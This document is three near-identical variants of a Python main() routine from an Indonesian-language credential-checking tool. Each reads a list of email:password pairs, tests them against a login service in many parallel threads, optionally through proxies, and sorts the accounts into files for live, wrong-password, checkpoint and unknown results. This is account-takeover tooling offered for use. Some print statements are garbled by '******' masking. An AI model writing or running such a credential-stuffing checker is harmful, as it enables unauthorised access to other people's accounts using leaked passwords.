def main(self): print( '\033[1;97m' ) empas = input( '\033[1;97m[\033[1;91m?\033[1;97m] List empas (ex: list.txt): \033[1;96m' ) if os.path.exists( empas ): for data in open( empas, 'r', encoding='utf-8' ).readlines(): try: user = data.strip( ).split( '|' ) if user[ 0 ] and user[ 1 ]: em = user[ 0 ] pw = self.auto_upper( user[ 1 ] ) self.userdata.append({ 'email': em, 'pw': pw, 'userdata': '|'.join( [ em, pw ] ) }) except IndexError: try: user = data.strip().split( ':' ) if user[ 0 ] and user[ 1 ]: em = user[ 0 ] pw = self.auto_upper( user[ 1 ] ) self.userdata.append({ 'email': em, 'pw': pw, 'userdata': ':'.join( [ em, pw ] ) }) except: pass if len( self.userdata ) == 0: exit( '\033[1;97m[\033[1;91m!\033[1;97m] Empas tidak ada atau tidak valid pastikan berformat email:pass atau email|pass' ) print( '\033[1;97m[\033[1;92m+\033[1;97m] Total \033[1;92m{0} \033[1;97maccount'.format( str( len( self.userdata ) ) ) ) ask = input( '\033[1;97m[\033[1;93m•\033[1;97m]Mau Pake Proxy?(Y/t): ' ) if ask.lower( ).strip( ) == 'y': self.valid_proxy = proxy.prox( ) with ThreadPoolExecutor( max_workers=50 ) as thread: [ thread.submit( self.validate, user, True ) for user in self.userdata ] else: print( '' ) with ThreadPoolExecutor( max_workers=10 ) as thread: [ thread.submit( self.validate, user, False ) for user in self.userdata ] print( '\n\n\033[1;97m[\033[1;92m#\033[1;97m] LIVE: '+str( len( self.live ) )+' - saved: live.txt' ) if len( self.live ) != 0: print( '\n'.join( self.live )+'\n' ) print( '\033[1;97m[\033[1;91m#\033[1;97m] WRONG PASS: '******' - saved: wrongPwd.txt' ) print( '\033[1;97m[\033[1;91m#\033[1;97m] WRONG EMAIL: '+str( len( self.wrong_email ) )+' - saved: wrongEmail.txt' ) print( '\033[1;97m[\033[1;91m#\033[1;97m] CheckPoint: '+str( len( self.limit_login ) )+' - saved: limitLogin.txt' ) print( '\033[1;97m[\033[1;91m#\033[1;97m] Tidak Valid: '+str( len( self.unknown ) )+' - saved: unknown.txt' ) exit( ) else: print( '\033[1;97m[\033[1;91m!\033[1;97m] File tidak ditemukan "{0}"'.format( empas ) )
def main(self): print('[!] Pemisah email:password TOLOL\n') empas = input('[?] Isi empasnya (ex: list.txt): ') if os.path.exists(empas): for data in open(empas, 'r', encoding='utf-8').readlines(): try: user = data.strip().split('|') if user[0] and user[1]: em = user[0] pw = self.auto_upper(user[1]) self.userdata.append({ 'email': em, 'pw': pw, 'userdata': '|'.join([em, pw]) }) except IndexError: try: user = data.strip().split(':') if user[0] and user[1]: em = user[0] pw = self.auto_upper(user[1]) self.userdata.append({ 'email': em, 'pw': pw, 'userdata': ':'.join([em, pw]) }) except: pass if len(self.userdata) == 0: exit( '[!] Empas tidak ada atau tidak valid pastikan berformat email:pass atau email|pass' ) print('[*] Total {0} akun'.format(str(len(self.userdata)))) ask = input('[?] Apakah ingin menggunakan proxy? [Y/t]: ') if ask.lower().strip() == 'y': self.valid_proxy = proxy.prox() with ThreadPoolExecutor(max_workers=50) as thread: [ thread.submit(self.validate, user, True) for user in self.userdata ] else: print('') with ThreadPoolExecutor(max_workers=10) as thread: [ thread.submit(self.validate, user, False) for user in self.userdata ] print('\n\n[#] LIVE: ' + str(len(self.live)) + ' - saved: live.txt') if len(self.live) != 0: print('\n'.join(self.live) + '\n') print('[#] WRONG PASS: '******' - saved: wrongPwd.txt') print('[#] WRONG EMAIL: ' + str(len(self.wrong_email)) + ' - saved: wrongEmail.txt') print('[#] LIMIT LOGIN: '******' - saved: limitLogin.txt') print('[#] UNKNOWN: ' + str(len(self.unknown)) + ' - saved: unknown.txt') exit() else: print('[!] File tidak ditemukan "{0}"'.format(empas))
def main(self): print('''\033[92m-LIVE (0)\n''' '''\033[91m-Salah Password (0)\n''' '''\033[1;34m-Limit login (0)\n''' '''\033[1;35m-Wrong email (0)\n''' '''\033[1;30m-Unknown (0)\n''' '''\033[0;32m[!] Pemisah empas harus (:)/(|) yaa\n''') empas = input('''\033[1;31m[?] Folder empas (ex: empas.txt): ''') if os.path.exists(empas): for data in open(empas, 'r', encoding='utf-8').readlines(): try: user = data.strip().split('|') if user[0] and user[1]: em = user[0] pw = self.auto_upper(user[1]) self.userdata.append({ 'email': em, 'pw': pw, 'userdata': '|'.join([em, pw]) }) except IndexError: try: user = data.strip().split(':') if user[0] and user[1]: em = user[0] pw = self.auto_upper(user[1]) self.userdata.append({ 'email': em, 'pw': pw, 'userdata': ':'.join([em, pw]) }) except: pass if len(self.userdata) == 0: exit( '[!] Empas tidak ada atau tidak valid pastikan berformat email:pass atau email|pass' ) print('\033[0;32m[*] Total {0} akun'.format(str(len( self.userdata)))) ask = input( '[?] Ingin menggunakan proxy?(\033[92mSaran\033[0m) [Y/t]: ') if ask.lower().strip() == 'y': self.valid_proxy = proxy.prox() with ThreadPoolExecutor(max_workers=200) as thread: [ thread.submit(self.validate, user, True) for user in self.userdata ] else: print('') with ThreadPoolExecutor(max_workers=10) as thread: [ thread.submit(self.validate, user, False) for user in self.userdata ] print('\033[1;30m\n\n[#] LIVE: ' + str(len(self.live)) + ' - saved: live.txt') if len(self.live) != 0: print('\033[0;31m\n'.join(self.live) + '\n') print('\033[91m[#] WRONG PASS: '******' - saved: wrongPwd.txt') print('\033[1;35m[#] WRONG EMAIL: ' + str(len(self.wrong_email)) + ' - saved: wrongEmail.txt') print('\033[1;34m[#] LIMIT LOGIN: '******' - saved: limitbos.txt') print('\033[1;30m[#] UNKNOWN: ' + str(len(self.unknown)) + ' - saved: unknown.txt') exit() else: print('[!] File tidak ditemukan "{0}"'.format(empas))